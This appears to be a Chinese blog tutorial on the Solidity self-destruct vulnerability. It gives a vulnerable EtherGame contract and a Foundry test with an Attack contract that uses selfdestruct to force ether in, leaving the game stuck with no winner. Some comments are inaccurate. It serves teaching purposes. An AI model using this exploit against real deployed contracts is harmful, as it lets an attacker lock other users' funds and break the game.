当前位置: 首页 > article >正文

区块链安全常见的攻击——自毁漏洞(Self-Destruct Vulnerability)【2】

区块链安全常见的攻击合约和简单复现,附带详细分析——自毁漏洞(Self-Destruct Vulnerability)【2】

1、自毁漏洞(Self-Destruct Vulnerability)

1.1 漏洞合约

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance; // vulnerable
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

1.2 漏洞分析

deposit函数用来存放资金到ethergame合约,每次只允许存放1 ether,当ethergame合约的资金达到7ether,设置赢家为存放者,并且停止存放。如果通过非法的手段存入资金使得ethergame合约金额达到7,那么赢家无法再设置,始终为0x000000,因此游戏被破坏。
在这里插入图片描述

1.3 攻击分析

1、部署一个Attack合约,里面有一个dos函数,函数调用了selfdestruct(addr)函数
2、addr设置为ethergame合约地址
2、攻击者调用dos,同时给attack合约发送资金(资金金额是ethergame合约还差多少达到7ether)
3、这样会触发selfdestruct,自我销毁会把Attack合约里的资金强制发送给ethergame合约,使其达到7ether,而winner无法设置。

1.4 攻击合约

   contract ContractTest is Test {
    EtherGame EtherGameContract; // EtherGame 合约实例
    Attack AttackerContract; // 攻击合约实例
    address alice; // Alice 地址
    address eve; // Eve 地址
    address Attacker; // Attacker 地址

    // 设置测试环境
    function setUp() public {
        EtherGameContract = new EtherGame();
        alice = vm.addr(1); // 模拟 Alice 地址
        eve = vm.addr(2); // 模拟 Eve 地址
        vm.deal(address(alice), 1 ether); // 为 Alice 分配 1 Ether
        vm.deal(address(eve), 1 ether); // 为 Eve 分配 1 Ether

        Attacker = vm.addr(3); // 模拟 Attacker 地址
        vm.deal(address(Attacker), 6 ether); // 为 Attacker 分配 1 Ether
    }

    function testSelfdestruct() public {
        console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额
        console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);
        EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether

        console.log("Eve deposit 1 Ether...");
        vm.prank(eve);
        EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Ether

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印 EtherGame 合约的余额
        console.log("winner : ", EtherGameContract.winner());
        console.log("Attack...");
        AttackerContract = new Attack(EtherGameContract); // 部署攻击合约并传入 EtherGame 的地址
        AttackerContract.dos{value: 5 ether}(); // 调用攻击合约的 dos 函数并发送 5 Ether

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印攻击后的 EtherGame 合约余额
        console.log("After, winner : ", EtherGameContract.winner());
        console.log("Exploit completed, Game is over");
        EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败
    }
}

contract Attack {
    EtherGame etherGame; // 目标 EtherGame 合约

    // 初始化攻击合约
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame); // 绑定目标合约
    }

    // 攻击函数:通过 selfdestruct 销毁目标合约
    function dos() public payable {
        // 通过发送额外的以太币,使游戏余额达到 7 Ether,从而破坏游戏
        address payable addr = payable(address(etherGame)); // 转换为 payable 地址
        selfdestruct(addr); // 调用 selfdestruct 将以太币和字节码一起销毁
    }
}

在这里插入图片描述

1.5 正常游戏情况,合约金额达7ether会有winner

    function testSelfdestruct() public {
        console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额
        console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);
        EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether

        console.log("Eve deposit 1 Ether...");
        vm.prank(eve);
        EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Ether

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印 EtherGame 合约的余额
        console.log(" winner : ", EtherGameContract.winner()); // 打印 EtherGame winner

        console.log("Attacker starts depositing 1 Ether 5 times...");
        for (uint i = 0; i < 5; i++) {
            vm.prank(Attacker);
            EtherGameContract.deposit{value: 1 ether}(); // Attacker 每次存入 1 Ether
        }
        console.log(
            "After, Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印 EtherGame 合约的余额
        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印攻击后的 EtherGame 合约余额
        console.log("After, winner : ", EtherGameContract.winner()); // 打印 EtherGame winner
        console.log("Exploit completed, Game is over");··
        EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败
    }

在这里插入图片描述


http://www.kler.cn/a/405734.html

相关文章:

  • C++
  • Vue3 使用v-for 渲染列表数据后更新
  • SQLSever显示物理和逻辑 IO活动量的相关信息及显示分析、编译和执行各语句所需的毫秒数。
  • vue2 src_消息订阅和发布(pubsub-js)
  • 冲破AI 浪潮冲击下的 迷茫与焦虑
  • C语言字符串搜索函数
  • MATLAB读入不同类型图像并显示图像和相关信息
  • springboot基于微信小程序的农产品交易平台
  • uni-app 玩转条件编译:自定义平台的条件编译实战详解
  • 微软 Ignite 2024 大会
  • CSS查缺补漏(补充上一条)
  • [C#] Bgr24彩色位图转为Gray8灰度位图的跨平台SIMD硬件加速向量算法
  • JDK1.8中JVM堆内存等参数配置
  • 微信小程序自定义图片预览操作按钮(解决api预览时不能删除提交服务器等自定义操作)
  • 大数据新视界 -- 大数据大厂之 Impala 性能优化:跨数据中心环境下的挑战与对策(上)(27 / 30)
  • 嵌入式系统与OpenCV
  • FIFO和LRU算法实现操作系统中主存管理
  • Vue.js 性能优化指南:掌握 keep-alive 的使用技巧
  • 面向对象-接口的使用
  • Spring框架特性及包下载(Java EE 学习笔记04)